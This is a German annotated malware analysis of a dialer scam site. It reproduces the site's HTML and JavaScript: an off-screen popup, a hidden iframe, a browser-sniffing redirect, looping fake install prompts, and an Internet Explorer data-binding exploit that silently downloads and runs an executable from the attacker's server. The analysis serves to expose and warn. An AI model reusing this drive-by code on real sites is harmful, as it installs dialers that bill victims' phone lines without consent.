Alle grünen Texte sind von mir eingefügte Kommentare. Teile der Beschreibung unterliegen dem Urheberrecht von Stefan Münz und sind entnommen von
http://www.netzwelt.com/selfhtml/index.htm
Die nachfolgenden Quelltexte können unter Umständen ungewollte und gefährliche Operationen auf Ihrem Recher auslösen. Betrachten Sie diese Quelltexte nicht mit einem Browser.

```
<script language="JavaScript">
star = window.open("http://62.4.83.182/rapid.php?ID=217","stars","top=1900")

/*
star          ist ein Variablenname. Dieser Variable wird ein Fensterobjekt zugewiesen.
              Hier eigentlich unnötig, da kein folgender Code vorhanden ist, der sich auf
              'star' bezieht.
'window'      Das Objekt window (Fenster) ist das oberste Objekt der Objektfamilie für alles,
              was im Browser-Fenster angezeigt wird. Über das Objekt window können Sie
              das Dokumentfenster abfragen und kontrollieren. Ferner können Sie neue
              Fenster definieren. Dabei können Sie auch die Fenstereigenschaften frei
              bestimmen.
'open'        ist eine Methode des window Objektes. Öffnet ein neues Fenster. Erwartet
              mindestens zwei, optional auch drei Parameter.
              Erwartete Parameter zu Open sind:
              1. URI = Zieladresse einer Datei, die in das neue Fenster geladen werden soll.
              In diesem Fall die Adresse "http://62.4.83.182/rapid.php?ID=217"
              2. Fenstername = Ein Name, der aus Buchstaben, Ziffern und Unterstrich
              bestehen darf. Hier "stars".
              3. (optional) Angaben zum Aussehen des Fensters. Eine Zeichenkette, in der
              Sie die Größe und die Eigenschaften des Fensters festlegen können. Hier
              "top=1900".
'top=1900'    Vertikalwert der linken oberen Ecke des neuen Fensters in Pixeln. Ganz
              offensichtlich soll das neu geöffnete Fenster bei 1900 Pixeln von oben
              beginnen. Da 'normale' Grafikkarten nur bis 1600x1200 Punkten auflösen, ist
              dieses Fenster immer mindestens 300 Pixel unterhalb des sichtbaren Bereiches
              des Bildschirms.
*/

</script>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<p align="center"> </p>
<p align="center"><font color="#FFFFff" size="+4">connect speed server...</font></p>
<p>  <!-- Absatz in HTML -->
<iframe src="http://62.4.83.182/rapid.php?ID=217" width="0" height="0"></iframe>
<!--  Hier wird ein <iframe>, ein eingebetteter Rahmen, angezeigt. Mit dem Attribut 'src='
bestimmen Sie, was in dem eingebetteten Frame angezeigt werden soll. Es kann sich um eine
andere HTML-Datei oder eine beliebige andere lokale oder entfernte Datenquelle handeln.
'width=' und 'height=' geben Breite und Höhe dieses eingebetteten Frame an. Der Wert '0' bei
beiden Attributen bewirkt eine nicht sichtbare Einbettung auf der Seite. -->
</p>  <!-- Ende des Absatz in HTML -->
</body>
</html>
```

Quelltext der Seite h t t p://62.4.83.182/rapid.php?ID=217

```
 <html>
	<!-- Powered by Notepad -->
<head>
	<title>Connector</title>
	<meta http-equiv="pragma" content="no-cache">

<script language="JavaScript">
<!--
// Definition zweier Variablen
	var URLAutoInstall = 'ax_install.php?UIN=' + 217;
	var URLManualInstall = 'get_dialer.php?UIN=' + 217;
// Definition einer Funktion (Ändert bei Aufruf den Ursprung der Seite)
	function DoManualInstall() {window.location.replace(URLManualInstall);}
// Definition einer Funktion (Ändert bei Aufruf den Ursprung der Seite)
	function DoAutoInstall() {window.location.replace(URLAutoInstall);}
// Definition einer Funktion (zur Überprüfung auf den verwendeten Browser)
	function IsIE()
	{
		ua = navigator.userAgent.toLowerCase();
		an = navigator.appName.toLowerCase();
		av = navigator.appVersion.toLowerCase();
		if ((ua.indexOf('msie') >= 0) && (parseFloat(av) >= 4))	return true; else
return false;
	}


	function DoConnector() {if (IsIE()) DoAutoInstall(); else DoManualInstall();}
// Funktion, die beim Laden der Seite (Methode OnBodyLoad()) ausgeführt wird
	function OnBodyLoad() {DoConnector()}

//-->
</SCRIPT>

</head>
<body <body style="margin: 0px;padding: 0px;overflow: hidden;border: 0px;"
onload="OnBodyLoad()">
</body>
</html>
```

Beim Laden dieser Seite im Browser wird der verwendete Browser ermittelt. In Abhängigkeit dieser Überprüfung wird der Ursprung der Seite geändert. Bei verwendetem Internet Explorer wird die Seite 'ax_install.php?UIN=217', bei anderem Browser die Seite 'get_dialer.php?UIN=217' aufgerufen. Beide Seiten sind auf dem selbem Server gespeichert, wie die aufrufende Seite 'rapid.php?ID=217'

Quelltext der Seite h t t p://62.4.83.182/ax_install.php?UIN=217

```
<!-- Powered by Notepad -->
<html>
<head>
	<title>Internet Explorer</title>
	<meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
<script language="JavaScript">
<!--
// Verschiedene Texte, die in einem 'alert', also einem Meldungsfenster, angezeigt werden.
	var Msg1  = 'Sie müssen die Installationsroutine mit "Ja" bestätigen,\ndamit die Seite
korrekt angezeigt werden kann.'
	var Msg2  = 'Sie haben die Zugangssoftware nicht installiert.\nUm die Seite korrekt
anzuzeigen, müssen Sie diese Software installieren.'
	var Msg_Click = '\n\nKlicken Sie auf "Ok", um die Software jetzt zu installieren.'

	var Step = 0;
/* Funktion, die bei einem Fehler (Methode ObjectOnError()) aufgerufen wird. Die Funktion
gibt nacheinander die obigen Meldungen 1+2, jeweils mit der Meldung 'Click' aus. Bei
irgendeiner Auswahl beim ersten alert wird der Zähler 'Step' um eins erhöht und die Seite neu
geladen. Wird die Schleife dann zum zweiten mal durchlaufen, wird die zweite Meldung
angezeigt. Bei negativer Auswahl wird die Seite  'get_dialer.php?UIN=1' geladen. */
	function ObjectOnError()
	{
		if (Step == 0) {
			Step = 1;
			alert(Msg1 + Msg_Click);
// Erneuter Aufruf der Seite (Schleife bei Fehler)
			object.location.reload();
		} else {
			if (confirm(Msg2 + Msg_Click)) object.location.reload(); else {
				window.location.replace('get_dialer.php?UIN=1');
			}
		}
	}

//-->
</script>
</head>
<!-- Das nachfolgende Frameset zeigt eine Hauptseite 'ax_main.html' sowie eine Objektseite '
ax_object.php?UIN=217' an. -->
	<frameset rows="100%,*" frameborder="NO" border="0" framespacing="0">
		<frame name="main" scrolling="NO" noresize src="ax_main.html" >
		<frame name="object" scrolling="NO" noresize
src="ax_object.php?UIN=217">
	</frameset>
	<noframes>
		Not supported...
	</noframes>
</html>
```

Quelltext der Seite h t t p://62.4.83.182/ax_object.php?UIN=217

```
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
        <security>
                <exploit>
                        <![CDATA[
                                <object id="odFile" data="dialers/rs217.exe.php"></object>
                        ]]>
                </exploit>
        </security>
</xml>
```

Dieser Code nutzt eine Sicherheitslücke des Internet Explorer. Er lädt ohne weitere Nachfrage ein Programm von diesem Server, installiert es und führt es aus. Diese Sicherheitslücke erfordert keine Administratorrechte. Siehe dazu:
http://www.heise.de/security/dienste/browsercheck/demos/ie/e5_15.shtml

Der Inhalt der Seite h t t p://62.4.83.182/ax_main.html enthält neben Hinweisen auf die Kosten der Verbindung auch untenstehende Lizenzvereinbarung. Von dieser Lizenzvereinbarung sind, bedingt durch die Größe der verwendeten Scrollbox, nur jeweils zwei Zeilen zu sehen. Durch die auf der ersten Seite angewandte Technik des verschobenen Fensters, bzw. des versteckten Frames ist diese Seite für den Benutzer zu keiner Zeit sichtbar.

Die auf dieser Seite angezeigten Lizenzvereinbarung (Stand 23.10.03 17:55 Uhr)

Lizenzvereinbarung

§ 1 : Die Globalised Communications LTD. räumt Ihnen (im folgenden "Anwender" genannt) das Nutzungsrecht an der Globalised Communications LTD Software gemäß den nachfolgenden Lizenzbedingungen ein.
Der Anwender erkennt diese Lizenzbedingungen durch erstmalige Installation bzw. erste Benutzung der Software unwiderruflich an. Sie werden gebeten diese Vereinbarung zu akzeptieren und mit der Installation fortzufahren oder, falls sie dieser Vereinbarung nicht zustimmen, die Lizenzvereinbarung abzulehnen. In diesem Fall können sie die Software nicht benutzen. Mit der Annahme der Lizenzvereinbarung gewährt die Globalised Communications LTD dem Anwender eine nicht ausschließliche Erlaubnis zur Nutzung der Software zu den nachfolgenden Bedingungen. Die Einräumung des Nutzungsrechtes erfolgt unentgeltlich.

§ 2 : Der Anwender ist berechtigt, die Software auf einer beliebigen Anzahl von Rechnern zu installieren und anzuwenden, eine Sicherungskopie zu fertigen, die Software und das Nutzungsrecht daran an einen Dritten zu übertragen, unter der Bedingung, daß diese Lizenzvereinbarungen von der dritten Person im vollen Umfang anerkannt werden.
Mit Zustimmung der Globalised Communications LTD darf die Software auf jedem Datenträger installiert werden und kommerziell vertrieben werden.

§ 3: Der Anwender ist nicht berechtigt, die Software zu ändern, anzupassen, zu dekompilieren, zu disassemblieren oder sonstige Versuche zu unternehmen, den Quellcode der Software herauszufinden.

§ 4 : Die Software ist geistiges Eigentum der Globalised Communications LTD und urheberrechtlich geschützt, die Namens- und Markenrechte bleiben bei der Globalised Communications LTD.

§ 5 : Die Software darf nur genutzt werden, um dem Anwender den Zugang zu Internetseiten bzw. gleichwertigen Angeboten zu ermöglichen. Zu einem anderen Zweck darf die Software nicht genutzt werden.

§ 6 : Haftungsbeschränkungen
Die Globalised Communications LTD liefert dem Anwender die Software wie besehen ohne jegliche Gewährleistung. Globalised Communications LTD können für die Leistung oder die Ergebnisse, die der Anwender durch die Nutzung der Software erzielt, nicht garantieren. Globalised Communications LTD übernimmt weder ausdrüGlobalised Communications LTDlich noch stillschweigend eine Gewährleistung oder Garantie dafür, daß keine Schutzrechte Dritter verletzt werden, und auch nicht dafür, daß die Software marktgängig oder für einen bestimmten ZweGlobalised Communications LTD geeignet ist. Globalised Communications LTD haftet in keinem Fall für direkte oder indirekte Schäden, für Folgeschäden oder Sonderschäden, dies schließt entgangenen Geschäftsgewinn oder entgangene Einsparungen ein. Die Haftung der Globalised Communications LTD für Ansprüche Dritter ist ebenfalls ausgeschlossen.

§ 7 : Globalised Communications LTD übernimmt insbesondere keine Haftung für Schäden an Rechnern, für Datenverlust, für die Anzeige der korrekten Verbindungsentgelte bei Verbindungsaufbau durch die Software, für Verbindungskosten bei erfolglosem Verbindungsaufbau und für Verbindungskosten bei erfolglosen Verbindungsabbruch.

§ 8 : Globalised Communications LTD ist in keinem Fall für die Inhalte und Angebote verantwortlich, auf die der Anwender mittels der Software zugreifen kann. Globalised Communications LTD übernimmt keinerlei Haftung für diese Inhalte und Angebote.

§ 9 : Die dem Anwender entstandenen Verbindungskosten werden mit der Telefonrechnung des Carriers des Anwenders abgerechnet.

§ 10 : Diese Lizenzvereinbarung gilt auch für zukünftige Versionen der Software.

§ 11 : Sollte irgendein Teil dieser Lizenzvereinbarung unwirksam oder undurchführbar sein, wird dadurch die Wirksamkeit der übrigen Bestimmungen dieser Vereinbarung nicht berührt, sondern diese behalten weiterhin ihre Gültigkeit.

Ende des Textes

Die Seite h t t p://62.4.83.182/get_dialer.php?UIN=217 ermöglicht den Download einer ausführbaren Datei 'rs217.exe', wobei die Nummer hinter 'rs' der angegeben UIN entspricht.